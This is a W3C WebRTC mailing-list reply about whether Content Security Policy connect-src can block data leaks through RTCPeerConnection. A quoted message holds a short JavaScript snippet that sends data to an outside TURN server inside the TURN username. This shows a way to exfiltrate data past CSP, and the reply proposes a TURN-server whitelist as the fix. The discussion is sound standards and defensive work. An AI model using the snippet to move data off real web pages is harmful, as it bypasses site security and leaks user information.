W3C home > Mailing lists > Public > public-webrtc@w3.org > January 2018

Re: webRTC and Content Security Policy connect-src

From: T H Panton <thp@westhawk.co.uk>
Date: Fri, 12 Jan 2018 12:11:57 +0000
Message-Id: <BCBFF130-AE51-4FDD-8C17-3BEFEADBC883@westhawk.co.uk>
Cc: Iñaki Baz Castillo <ibc@aliax.net>, "public-webrtc@w3.org" <public-webrtc@w3.org>, Cullen Jennings <fluffy@iii.ca>
To: Sergio Garcia Murillo <sergio.garcia.murillo@gmail.com>


> On 12 Jan 2018, at 12:06, Sergio Garcia Murillo <sergio.garcia.murillo@gmail.com> wrote:
> 
> On 12/01/2018 13:01, Iñaki Baz Castillo wrote:
>> To summarize: The current issue with ICE Lite is that it's not needed
>> for the browser (ICE controlling) to provide the remote with the
>> browser *internally* and *dynamically* generated tokens (such as the
>> ice-ufrag). With my proposal above, this would change so the JS should
>> always signal its local ice-ufrag to the remote (otherwise ICE
>> responses would be discarded). And for that, the JS must send it via
>> HTTP/WebSocket, so habemus CSP rules to block them.
>> 
> As I already pointed out in the issue, it is possible to leak small amounts of data just with:
> 
> var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
> pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
> 
> Event it could be possible to send back data via de candidate info (at a much lower rate).
> 
> So using that, you could still be able to exchange ice-ufrag/pwd and establish the datachannel with full-ice.
> 


That's covered in my proposal:
> add a CSP turn-servers whitelist (to prevent leakage via the credentials)


> Best regards
> Sefrgio
Received on Friday, 12 January 2018 12:12:22 UTC

This archive was generated by hypermail 2.3.1 : Friday, 12 January 2018 12:12:23 UTC